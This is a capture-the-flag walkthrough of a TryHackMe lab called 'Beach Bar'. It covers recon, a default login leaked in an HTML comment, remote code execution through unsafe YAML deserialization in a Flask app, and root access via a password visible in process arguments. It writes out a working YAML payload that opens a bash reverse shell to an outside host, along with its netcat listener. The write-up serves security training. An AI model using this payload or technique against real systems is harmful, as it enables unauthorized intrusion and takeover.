# Beach Bar: Web x Boot2Root - RCE X Django  (TryHackMe)

Link to the challenge on TryHackMe: [Beach Bar](https://tryhackme.com/room/hh-beachbar-d849f7f7)

> **Concierge Briefing**
> 
> Welcome back to the Byte Lotus — this time the sand is warm, the deck lights are coming up, and the beach bar's jukebox takes requests from anyone with a phone. You spend the evening as a guest at the rail who simply notices things: a DJ who never logs out, a song queue that accepts a little more than song titles, a service down the boardwalk quietly announcing "something".
> 
> The beachside guest-experience build shipped on a deadline, and the night-shift developer wired the jukebox straight into the floor with the trimmings still attached.
> 
> **🏖️ TODAY'S ITINERARY**
> 
> *   \[ \] Find the user flag
>     
> *   \[ \] Find the root flag
>     
> *   **Web**
>     
> *   **Boot2root**
>     

```markdown
nmap -p- -sV IP_Address

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    gunicorn

```

```markdown
gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

/dashboard            (Status: 302) [Size: 199] [--> /login]
/export               (Status: 302) [Size: 199] [--> /login]
/import               (Status: 302) [Size: 199] [--> /login]
/login                (Status: 200) [Size: 3522]
/logout               (Status: 302) [Size: 199] 
```

```markdown
curl -s http://IP_Address/login | tee login.html
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Beach Bar // Sign in</title>
  <style>
    :root {
      --sky-top:#ffd6a0; --sky-bot:#ff8e72; --sea:#2a9d8f; --coral:#e76f51;
      --sand:#fff4e3; --ink:#3a2e2a; --muted:#9b7b6b; --line:#f0c9a8;
    }
    * { box-sizing:border-box; }
    body {
      margin:0; color:var(--ink);
      font:15px/1.6 "Trebuchet MS",Avenir,"Segoe UI",sans-serif;
      background:linear-gradient(180deg,var(--sky-top) 0%,var(--sky-bot) 45%,var(--sea) 100%);
      background-attachment:fixed; min-height:100vh;
    }
    header {
      display:flex; align-items:center; justify-content:space-between;
      padding:16px 28px; background:rgba(255,244,227,.85); backdrop-filter:blur(4px);
      border-bottom:3px solid var(--coral);
    }
    header .brand { font-weight:800; letter-spacing:1px; color:var(--coral); font-size:18px; }
    header .brand .sun { color:#f4a261; }
    nav a { color:var(--muted); text-decoration:none; margin-left:18px; font-weight:600; }
    nav a:hover { color:var(--coral); }
    main { max-width:760px; margin:36px auto; padding:0 20px; }
    .card {
      background:var(--sand); border:1px solid var(--line); border-radius:14px;
      padding:24px 26px; margin-bottom:22px; box-shadow:0 10px 30px rgba(58,46,42,.12);
    }
    h1 { font-size:24px; margin:0 0 14px; }
    h2 { font-size:13px; color:var(--muted); text-transform:uppercase; letter-spacing:2px; margin:0 0 10px; }
    label { display:block; margin:14px 0 5px; color:var(--muted); font-weight:600; font-size:13px; }
    input[type=text], input[type=password], textarea {
      width:100%; background:#fff; border:1px solid var(--line); color:var(--ink);
      padding:11px 13px; border-radius:9px; font:inherit;
    }
    textarea { min-height:210px; resize:vertical; font-family:ui-monospace,Menlo,Consolas,monospace; font-size:13px; }
    button {
      background:var(--coral); color:#fff; border:0; padding:11px 22px;
      border-radius:9px; font:inherit; font-weight:700; cursor:pointer; margin-top:16px;
    }
    button:hover { filter:brightness(1.05); }
    .flash { background:#ffe1d8; border:1px solid var(--coral); color:#b5402a; padding:10px 14px; border-radius:9px; margin-bottom:16px; }
    pre { background:#fff; border:1px solid var(--line); border-radius:9px; padding:14px; overflow:auto; }
    .muted { color:var(--muted); }
    .stat { display:inline-block; min-width:140px; margin:6px 16px 6px 0; }
    .stat b { display:block; font-size:24px; color:var(--sea); }
    a.dl { color:var(--coral); font-weight:700; }
  </style>
</head>
<body>
  <header>
    <div class="brand"><span class="sun">&#9728;</span> BEACH&nbsp;BAR</div>
    <nav>
      
    </nav>
  </header>
  <main>
    
      
    
    
<div class="card" style="max-width:420px;margin:48px auto;">
  <h1>DJ booth sign-in</h1>
  <p class="muted">Manage the jukebox playlists for tonight's set.</p>
  <!--
    staff note: the demo DJ login is still enabled for the soft opening.
    dj / dj  -- swap this before the season starts (ticket BAR-7)
  -->
  <form method="post">
    <label for="username">Username</label>
    <input type="text" id="username" name="username" autocomplete="off" autofocus>
    <label for="password">Password</label>
    <input type="password" id="password" name="password" autocomplete="off">
    <button type="submit">Step up to the decks</button>
  </form>
</div>

  </main>
</body>
</html>
```

```markdown
curl -s -i -c cookies.txt -b cookies.txt \
  -X POST http://IP_Address/login \
  -d "username=dj&password=dj"
HTTP/1.1 302 FOUND
Server: gunicorn
Date: Mon, 03 Aug 2026 09:35:06 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 207
Location: /dashboard
Vary: Cookie
Set-Cookie: session=eyJ1c2VyIjoiZGoifQ.anBgyg.B5XfwMqvWgQa2XsguO7x4_mzQEU; HttpOnly; Path=/

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/dashboard">/dashboard</a>. If not, click the link.

```

```markdown
curl -s -b cookies.txt http://IP_Address/dashboard
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Beach Bar // Floor</title>
  <style>
    :root {
      --sky-top:#ffd6a0; --sky-bot:#ff8e72; --sea:#2a9d8f; --coral:#e76f51;
      --sand:#fff4e3; --ink:#3a2e2a; --muted:#9b7b6b; --line:#f0c9a8;
    }
    * { box-sizing:border-box; }
    body {
      margin:0; color:var(--ink);
      font:15px/1.6 "Trebuchet MS",Avenir,"Segoe UI",sans-serif;
      background:linear-gradient(180deg,var(--sky-top) 0%,var(--sky-bot) 45%,var(--sea) 100%);
      background-attachment:fixed; min-height:100vh;
    }
    header {
      display:flex; align-items:center; justify-content:space-between;
      padding:16px 28px; background:rgba(255,244,227,.85); backdrop-filter:blur(4px);
      border-bottom:3px solid var(--coral);
    }
    header .brand { font-weight:800; letter-spacing:1px; color:var(--coral); font-size:18px; }
    header .brand .sun { color:#f4a261; }
    nav a { color:var(--muted); text-decoration:none; margin-left:18px; font-weight:600; }
    nav a:hover { color:var(--coral); }
    main { max-width:760px; margin:36px auto; padding:0 20px; }
    .card {
      background:var(--sand); border:1px solid var(--line); border-radius:14px;
      padding:24px 26px; margin-bottom:22px; box-shadow:0 10px 30px rgba(58,46,42,.12);
    }
    h1 { font-size:24px; margin:0 0 14px; }
    h2 { font-size:13px; color:var(--muted); text-transform:uppercase; letter-spacing:2px; margin:0 0 10px; }
    label { display:block; margin:14px 0 5px; color:var(--muted); font-weight:600; font-size:13px; }
    input[type=text], input[type=password], textarea {
      width:100%; background:#fff; border:1px solid var(--line); color:var(--ink);
      padding:11px 13px; border-radius:9px; font:inherit;
    }
    textarea { min-height:210px; resize:vertical; font-family:ui-monospace,Menlo,Consolas,monospace; font-size:13px; }
    button {
      background:var(--coral); color:#fff; border:0; padding:11px 22px;
      border-radius:9px; font:inherit; font-weight:700; cursor:pointer; margin-top:16px;
    }
    button:hover { filter:brightness(1.05); }
    .flash { background:#ffe1d8; border:1px solid var(--coral); color:#b5402a; padding:10px 14px; border-radius:9px; margin-bottom:16px; }
    pre { background:#fff; border:1px solid var(--line); border-radius:9px; padding:14px; overflow:auto; }
    .muted { color:var(--muted); }
    .stat { display:inline-block; min-width:140px; margin:6px 16px 6px 0; }
    .stat b { display:block; font-size:24px; color:var(--sea); }
    a.dl { color:var(--coral); font-weight:700; }
  </style>
</head>
<body>
  <header>
    <div class="brand"><span class="sun">&#9728;</span> BEACH&nbsp;BAR</div>
    <nav>
      
        <a href="/dashboard">Floor</a>
        <a href="/import">Import</a>
        <a href="/export">Export</a>
        <a href="/logout">Sign out</a>
      
    </nav>
  </header>
  <main>
    
      
    
    
<div class="card">
  <h1>Tonight on the floor</h1>
  <p class="muted">Signed in as <b>dj</b>. The jukebox is streaming live to the deck speakers.</p>
  <div>
    <div class="stat"><b>42</b> in queue</div>
    <div class="stat"><b>Sunset Session</b> active set</div>
    <div class="stat"><b>Live</b> stream status</div>
  </div>
</div>
<div class="card">
  <h2>Playlists</h2>
  <p class="muted">
    Bring a set from another night: <a class="dl" href="/export">Export</a>
    the current playlist as YAML, tweak it, and load it back via
    <a class="dl" href="/import">Import</a>.
  </p>
</div>
  </main>
</body>
</html>
```

```markdown
curl -s -b cookies.txt http://IP_Address/export
curl -s -b cookies.txt http://IP_Address/import
# Beach Bar jukebox playlist export
playlist:
  name: Sunset Session
  vibe: golden hour
  tracks:
    - artist: Khruangbin
      title: Maria Tambien
    - artist: Men I Trust
      title: Show Me How
    - artist: Crumb
      title: Locket
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Beach Bar // Import playlist</title>
  <style>
    :root {
      --sky-top:#ffd6a0; --sky-bot:#ff8e72; --sea:#2a9d8f; --coral:#e76f51;
      --sand:#fff4e3; --ink:#3a2e2a; --muted:#9b7b6b; --line:#f0c9a8;
    }
    * { box-sizing:border-box; }
    body {
      margin:0; color:var(--ink);
      font:15px/1.6 "Trebuchet MS",Avenir,"Segoe UI",sans-serif;
      background:linear-gradient(180deg,var(--sky-top) 0%,var(--sky-bot) 45%,var(--sea) 100%);
      background-attachment:fixed; min-height:100vh;
    }
    header {
      display:flex; align-items:center; justify-content:space-between;
      padding:16px 28px; background:rgba(255,244,227,.85); backdrop-filter:blur(4px);
      border-bottom:3px solid var(--coral);
    }
    header .brand { font-weight:800; letter-spacing:1px; color:var(--coral); font-size:18px; }
    header .brand .sun { color:#f4a261; }
    nav a { color:var(--muted); text-decoration:none; margin-left:18px; font-weight:600; }
    nav a:hover { color:var(--coral); }
    main { max-width:760px; margin:36px auto; padding:0 20px; }
    .card {
      background:var(--sand); border:1px solid var(--line); border-radius:14px;
      padding:24px 26px; margin-bottom:22px; box-shadow:0 10px 30px rgba(58,46,42,.12);
    }
    h1 { font-size:24px; margin:0 0 14px; }
    h2 { font-size:13px; color:var(--muted); text-transform:uppercase; letter-spacing:2px; margin:0 0 10px; }
    label { display:block; margin:14px 0 5px; color:var(--muted); font-weight:600; font-size:13px; }
    input[type=text], input[type=password], textarea {
      width:100%; background:#fff; border:1px solid var(--line); color:var(--ink);
      padding:11px 13px; border-radius:9px; font:inherit;
    }
    textarea { min-height:210px; resize:vertical; font-family:ui-monospace,Menlo,Consolas,monospace; font-size:13px; }
    button {
      background:var(--coral); color:#fff; border:0; padding:11px 22px;
      border-radius:9px; font:inherit; font-weight:700; cursor:pointer; margin-top:16px;
    }
    button:hover { filter:brightness(1.05); }
    .flash { background:#ffe1d8; border:1px solid var(--coral); color:#b5402a; padding:10px 14px; border-radius:9px; margin-bottom:16px; }
    pre { background:#fff; border:1px solid var(--line); border-radius:9px; padding:14px; overflow:auto; }
    .muted { color:var(--muted); }
    .stat { display:inline-block; min-width:140px; margin:6px 16px 6px 0; }
    .stat b { display:block; font-size:24px; color:var(--sea); }
    a.dl { color:var(--coral); font-weight:700; }
  </style>
</head>
<body>
  <header>
    <div class="brand"><span class="sun">&#9728;</span> BEACH&nbsp;BAR</div>
    <nav>
      
        <a href="/dashboard">Floor</a>
        <a href="/import">Import</a>
        <a href="/export">Export</a>
        <a href="/logout">Sign out</a>
      
    </nav>
  </header>
  <main>
    
      
    
    
<div class="card">
  <h1>Import playlist</h1>
  <p class="muted">Paste a playlist (YAML) or upload a <code>.yml</code> set exported from another night.</p>
  <form method="post" enctype="multipart/form-data">
    <label for="playlist">Playlist YAML</label>
    <textarea id="playlist" name="playlist" placeholder="playlist:&#10;  name: ..."></textarea>
    <label for="playlist_file">&hellip;or upload a file</label>
    <input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
    <button type="submit">Load playlist</button>
  </form>
</div>
  </main>
</body>
</html>
```

```markdown
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload3.yml"
<!doctype html>
<html lang="en">
<body>
  <header>
    <div class="brand"><span class="sun">&#9728;</span> BEACH&nbsp;BAR</div>
    <nav>
      
        <a href="/dashboard">Floor</a>
        <a href="/import">Import</a>
        <a href="/export">Export</a>
        <a href="/logout">Sign out</a>
      
    </nav>
  </header>
  <main>
    
      
    
    
<div class="card">
  <h1>Import playlist</h1>
  <p class="muted">Paste a playlist (YAML) or upload a <code>.yml</code> set exported from another night.</p>
  <form method="post" enctype="multipart/form-data">
    <label for="playlist">Playlist YAML</label>
    <textarea id="playlist" name="playlist" placeholder="playlist:&#10;  name: ..."></textarea>
    <label for="playlist_file">&hellip;or upload a file</label>
    <input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
    <button type="submit">Load playlist</button>
  </form>
</div>

<div class="card">
  <h2>Loader error</h2>
  <pre>Could not load playlist: Command &#39;[&#39;find&#39;, &#39;/&#39;, &#39;-iname&#39;, &#39;*flag*&#39;]&#39; returned non-zero exit status 1.</pre>
</div>

  </main>
</body>
```

```markdown
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload4.yml"
<!doctype html>
<html lang="en">
<body>
  <header>
    <div class="brand"><span class="sun">&#9728;</span> BEACH&nbsp;BAR</div>
    <nav>
      
        <a href="/dashboard">Floor</a>
        <a href="/import">Import</a>
        <a href="/export">Export</a>
        <a href="/logout">Sign out</a>
      
    </nav>
  </header>
  <main>
    
      
    
    
<div class="card">
  <h1>Import playlist</h1>
  <p class="muted">Paste a playlist (YAML) or upload a <code>.yml</code> set exported from another night.</p>
  <form method="post" enctype="multipart/form-data">
    <label for="playlist">Playlist YAML</label>
    <textarea id="playlist" name="playlist" placeholder="playlist:&#10;  name: ..."></textarea>
    <label for="playlist_file">&hellip;or upload a file</label>
    <input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
    <button type="submit">Load playlist</button>
  </form>
</div>

<div class="card">
  <h2>Loaded playlist</h2>
  <pre>b&#39;bartender\n&#39;</pre>
  <p class="muted">Queued for tonight's set.</p>
</div>

  </main>
</body>
```

```markdown
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload5.yml"
<!doctype html>
<html lang="en">
<body>
  <header>
    <div class="brand"><span class="sun">&#9728;</span> BEACH&nbsp;BAR</div>
    <nav>
      
        <a href="/dashboard">Floor</a>
        <a href="/import">Import</a>
        <a href="/export">Export</a>
        <a href="/logout">Sign out</a>
      
    </nav>
  </header>
  <main>
    
      
    
    
<div class="card">
  <h1>Import playlist</h1>
  <p class="muted">Paste a playlist (YAML) or upload a <code>.yml</code> set exported from another night.</p>
  <form method="post" enctype="multipart/form-data">
    <label for="playlist">Playlist YAML</label>
    <textarea id="playlist" name="playlist" placeholder="playlist:&#10;  name: ..."></textarea>
    <label for="playlist_file">&hellip;or upload a file</label>
    <input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
    <button type="submit">Load playlist</button>
  </form>
</div>

<div class="card">
  <h2>Loaded playlist</h2>
  <pre>b&#39;total 16\ndrwxr-xr-x  4 root      root      4096 Jun 11 10:55 .\ndrwxr-xr-x 22 root      root      4096 Aug  3 09:15 ..\ndrwxr-x---  2 bartender bartender 4096 Jun 11 12:59 bartender\ndrwxr-xr-x  4 ubuntu    ubuntu    4096 Jul 28 18:47 ubuntu\n&#39;</pre>
  <p class="muted">Queued for tonight's set.</p>
</div>

  </main>
</body>
</html>
```

```markdown
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload_ls_bart.yml"
<!doctype html>
<html lang="en">
<body>
  <header>
    <div class="brand"><span class="sun">&#9728;</span> BEACH&nbsp;BAR</div>
    <nav>
      
        <a href="/dashboard">Floor</a>
        <a href="/import">Import</a>
        <a href="/export">Export</a>
        <a href="/logout">Sign out</a>
      
    </nav>
  </header>
  <main>
    
      
    
    
<div class="card">
  <h1>Import playlist</h1>
  <p class="muted">Paste a playlist (YAML) or upload a <code>.yml</code> set exported from another night.</p>
  <form method="post" enctype="multipart/form-data">
    <label for="playlist">Playlist YAML</label>
    <textarea id="playlist" name="playlist" placeholder="playlist:&#10;  name: ..."></textarea>
    <label for="playlist_file">&hellip;or upload a file</label>
    <input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
    <button type="submit">Load playlist</button>
  </form>
</div>

<div class="card">
  <h2>Loaded playlist</h2>
  <pre>b&#39;total 24\ndrwxr-x--- 2 bartender bartender 4096 Jun 11 12:59 .\ndrwxr-xr-x 4 root      root      4096 Jun 11 10:55 ..\n-rw-r--r-- 1 bartender bartender  220 Feb 25  2020 .bash_logout\n-rw-r--r-- 1 bartender bartender 3771 Feb 25  2020 .bashrc\n-rw-r--r-- 1 bartender bartender  807 Feb 25  2020 .profile\n-rw-r----- 1 bartender bartender   34 Jun 11 12:59 user.txt\n&#39;</pre>
  <p class="muted">Queued for tonight's set.</p>
</div>

  </main>
</body>
```

```markdown
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload_cat_bart.yml"
<!doctype html>
<html lang="en">
<body>
  <header>
    <div class="brand"><span class="sun">&#9728;</span> BEACH&nbsp;BAR</div>
    <nav>
      
        <a href="/dashboard">Floor</a>
        <a href="/import">Import</a>
        <a href="/export">Export</a>
        <a href="/logout">Sign out</a>
      
    </nav>
  </header>
  <main>
    
      
    
    
<div class="card">
  <h1>Import playlist</h1>
  <p class="muted">Paste a playlist (YAML) or upload a <code>.yml</code> set exported from another night.</p>
  <form method="post" enctype="multipart/form-data">
    <label for="playlist">Playlist YAML</label>
    <textarea id="playlist" name="playlist" placeholder="playlist:&#10;  name: ..."></textarea>
    <label for="playlist_file">&hellip;or upload a file</label>
    <input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
    <button type="submit">Load playlist</button>
  </form>
</div>

<div class="card">
  <h2>Loaded playlist</h2>
  <pre>b&#39;THM{y4ml_pl4yl1st_pwns_th3_redacted}\n&#39;</pre>
  <p class="muted">Queued for tonight's set.</p>
</div>

  </main>
</body>
</html>
```

## Root Flag

```markdown
nc -lvnp 4444
```

curl -s -b cookies.txt -X POST http://IP\_Address/import -F "playlist\_file=@payload\_rev.yml"

```markdown
cat > payload_rev.yml << 'EOF'

!!python/object/apply:subprocess.check_output

args: ['bash -c "bash -i >& /dev/tcp/10.113.77.179/4444 0>&1"']

kwds: {shell: true}

EOF
root@ip-10-114-98-223:~# 
root@ip-10-114-98-223:~# curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload_rev.yml"
<html>
  <head>
    <title>Internal Server Error</title>
  </head>
  <body>
    <h1><p>Internal Server Error</p></h1>
    
  </body>
</html>
root@ip-10-114-98-223:~# 

```

```markdown
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 48774
bash: cannot set terminal process group (613): Inappropriate ioctl for device
bash: no job control in this shell
bartender@tryhackme-2404:/opt/beach-bar/webapp$ id
id
uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)
bartender@tryhackme-2404:/opt/beach-bar/webapp$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
bartender@tryhackme-2404:/opt/beach-bar/webapp$ find / -perm -4000 -type f 2>/dev/null
<-bar/webapp$ find / -perm -4000 -type f 2>/dev/null
/snap/core20/2379/usr/bin/chfn
/snap/core20/2379/usr/bin/chsh
/snap/core20/2379/usr/bin/gpasswd
/snap/core20/2379/usr/bin/mount
/snap/core20/2379/usr/bin/newgrp
/snap/core20/2379/usr/bin/passwd
/snap/core20/2379/usr/bin/su
/snap/core20/2379/usr/bin/sudo
/snap/core20/2379/usr/bin/umount
/snap/core20/2379/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2379/usr/lib/openssh/ssh-keysign
/snap/core/17292/bin/mount
/snap/core/17292/bin/ping
/snap/core/17292/bin/ping6
/snap/core/17292/bin/su
/snap/core/17292/bin/umount
/snap/core/17292/usr/bin/chfn
/snap/core/17292/usr/bin/chsh
/snap/core/17292/usr/bin/gpasswd
/snap/core/17292/usr/bin/newgrp
/snap/core/17292/usr/bin/passwd
/snap/core/17292/usr/bin/sudo
/snap/core/17292/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17292/usr/lib/openssh/ssh-keysign
/snap/core/17292/usr/lib/snapd/snap-confine
/snap/core/17292/usr/sbin/pppd
/snap/core18/1885/bin/mount
/snap/core18/1885/bin/ping
/snap/core18/1885/bin/su
/snap/core18/1885/bin/umount
/snap/core18/1885/usr/bin/chfn
/snap/core18/1885/usr/bin/chsh
/snap/core18/1885/usr/bin/gpasswd
/snap/core18/1885/usr/bin/newgrp
/snap/core18/1885/usr/bin/passwd
/snap/core18/1885/usr/bin/sudo
/snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1885/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/bin/chfn
/snap/core22/2411/usr/bin/chsh
/snap/core22/2411/usr/bin/gpasswd
/snap/core22/2411/usr/bin/mount
/snap/core22/2411/usr/bin/newgrp
/snap/core22/2411/usr/bin/passwd
/snap/core22/2411/usr/bin/su
/snap/core22/2411/usr/bin/sudo
/snap/core22/2411/usr/bin/umount
/snap/core22/2411/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/2411/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/libexec/polkit-agent-helper-1
/snap/core22/1621/usr/bin/chfn
/snap/core22/1621/usr/bin/chsh
/snap/core22/1621/usr/bin/gpasswd
/snap/core22/1621/usr/bin/mount
/snap/core22/1621/usr/bin/newgrp
/snap/core22/1621/usr/bin/passwd
/snap/core22/1621/usr/bin/su
/snap/core22/1621/usr/bin/sudo
/snap/core22/1621/usr/bin/umount
/snap/core22/1621/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/1621/usr/lib/openssh/ssh-keysign
/snap/core22/1621/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/mount
bartender@tryhackme-2404:/opt/beach-bar/webapp$ 

```

`python3 -c 'import pty; pty.spawn("/bin/bash")’`

```markdown
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

ls -la /opt/beach-bar/webapp
cat /opt/beach-bar/webapp/*.py 2>/dev/null | head -100
cat ~/.bash_history 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.d/ls -la /etc/cron.d/python3 -c 'import pty; pty.spawn("/bin/bash")'

ls -la /opt/beach-bar/webapp
cat /opt/beach-bar/webapp/*.py 2>/dev/null | head -100
cat ~/.bash_history 2>/dev/null
cat /etc/crontab
ls: cannot access '/etc/cron.d/python3': No such file or directory
ls: cannot access 'import pty; pty.spawn("/bin/bash")': No such file or directory
bartender@tryhackme-2404:/opt/beach-bar/webapp$ export TERM=xterm
bartender@tryhackme-2404:/opt/beach-bar/webapp$ 
bartender@tryhackme-2404:/opt/beach-bar/webapp$ ls -la /opt/beach-bar/webapp
total 24
drwxr-xr-x 4 bartender        bartender 4096 Jun 11 13:02 .
drwxr-xr-x 5 systemd-coredump ubuntu    4096 Jun 11 13:21 ..
drwxr-xr-x 2 bartender        bartender 4096 Jul 28 18:37 __pycache__
-rw-r--r-- 1 bartender        bartender 2445 Jun 11 13:02 app.py
-rw-r--r-- 1 bartender        bartender   44 Jun 11 10:47 requirements.txt
drwxr-xr-x 2 bartender        bartender 4096 Jun 11 10:47 templates
bartender@tryhackme-2404:/opt/beach-bar/webapp$ cat /opt/beach-bar/webapp/*.py 2>/dev/null | head -100
#!/usr/bin/env python3

import os
import yaml
from functools import wraps
from flask import (
    Flask, render_template, request, redirect,
    url_for, session, flash, Response,
)

app = Flask(__name__)
app.secret_key = "beach-bar-jukebox-fixed-session-key"

USERS = {
    "dj": "dj",
}

SAMPLE_PLAYLIST = """\
# Beach Bar jukebox playlist export
playlist:
  name: Sunset Session
  vibe: golden hour
  tracks:
    - artist: Khruangbin
      title: Maria Tambien
    - artist: Men I Trust
      title: Show Me How
    - artist: Crumb
      title: Locket
"""

def login_required(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        if not session.get("user"):
            return redirect(url_for("login"))
        return f(*args, **kwargs)
    return wrapper

@app.route("/")
def index():
    if session.get("user"):
        return redirect(url_for("dashboard"))
    return redirect(url_for("login"))

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        u = request.form.get("username", "")
        p = request.form.get("password", "")
        if USERS.get(u) == p:
            session["user"] = u
            return redirect(url_for("dashboard"))
        flash("Invalid credentials.")
    return render_template("login.html")

@app.route("/logout")
def logout():
    session.clear()
    return redirect(url_for("login"))

@app.route("/dashboard")
@login_required
def dashboard():
    return render_template("dashboard.html", user=session["user"])

@app.route("/export")
@login_required
def export():
    return Response(
        SAMPLE_PLAYLIST,
        mimetype="application/x-yaml",
        headers={"Content-Disposition": "attachment; filename=playlist.yml"},
    )

@app.route("/import", methods=["GET", "POST"])
@login_required
def import_playlist():
    result = None
    error = None
    if request.method == "POST":
        content = request.form.get("playlist", "")
        if "playlist_file" in request.files:
            f = request.files["playlist_file"]
            if f and f.filename:
                content = f.read().decode("utf-8", "replace")
        try:
            parsed = yaml.load(content, Loader=yaml.Loader)
            result = parsed
        except Exception as e:
            error = f"Could not load playlist: {e}"
    return render_template("import.html", result=result, error=error)

bartender@tryhackme-2404:/opt/beach-bar/webapp$ cat ~/.bash_history 2>/dev/null
bartender@tryhackme-2404:/opt/beach-bar/webapp$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
bartender@tryhackme-2404:/opt/beach-bar/webapp$ 
ls -la /etc/cron.d/
total 28
drwxr-xr-x   2 root root  4096 Oct 22  2024 .
drwxr-xr-x 109 root root 12288 Aug  3 09:15 ..
-rw-r--r--   1 root root   102 Feb 13  2020 .placeholder
-rw-r--r--   1 root root   201 Feb 14  2020 e2scrub_all
-rw-r--r--   1 root root   396 Jan  9  2024 sysstat
bartender@tryhackme-2404:/opt/beach-bar/webapp$ 

```

```markdown
cat /opt/beach-bar/jukeboxd/jukeboxd.py
cat /opt/beach-bar/jukeboxd/jukeboxd.py
#!/usr/bin/env python3

import argparse
import time

NOW_PLAYING = [
    "Khruangbin - Maria Tambien",
    "Men I Trust - Show Me How",
    "Crumb - Locket",
    "Mac DeMarco - Chamber of Reflection",
]

def main():
    parser = argparse.ArgumentParser(description="Beach Bar jukebox streamer")
    parser.add_argument("--stream-pass", required=True, help="stream backend password")
    parser.add_argument("--bitrate", default="320k")
    args = parser.parse_args()

    i = 0
    while True:
        track = NOW_PLAYING[i % len(NOW_PLAYING)]
        i += 1
        time.sleep(30)

if __name__ == "__main__":
    main()

```

```markdown
ps aux | grep jukebox
ps aux | grep jukebox
root         612  0.0  0.2  20176 11764 ?        Ss   09:15   0:00 /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320k
bartend+    1571  0.0  0.0   7084  2236 pts/0    S+   10:35   0:00 grep --color=auto jukebox

ps -eo pid,user,cmd | grep jukeboxd
cat /proc/$(pgrep -f jukeboxd.py)/cmdline | tr '\0' ' '; echops -eo pid,user,cmd | grep jukeboxd
    612 root     /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320k
   1573 bartend+ grep --color=auto jukeboxd
```

```markdown
u root
su root
Password: SunsetSpritz2024!

root@tryhackme-2404:/opt/beach-bar/webapp#
```

### my time expired i had to do it again:

Notice the IP changed: you're now hitting `IP_Address`, but earlier work was against `IP_Address`. This looks like a **fresh/different instance** (TryHackMe VPN instances often get a new IP if the machine restarted or you reconnected to the VPN). Your old cookies won't be valid on a new instance since the Flask session is tied to that specific running app/session state.

**Fix — log in again against the current target IP:**

bash

```bash
curl -s -i -c cookies.txt -b cookies.txt \
  -X POST http://IP_Address/login \
  -d "username=dj&password=dj"
```

Check that you get a `302` redirect to `/dashboard` this time, and that `cookies.txt` now has a fresh session cookie:

bash

```bash
cat cookies.txt
```

**Then retry your reverse shell payload against the correct current IP:**

bash

```bash
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload_rev.yml"
```

Also double check your listener is running and using the right port/IP for this session:

```markdown
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload_rev.yml"
<html>
  <head>
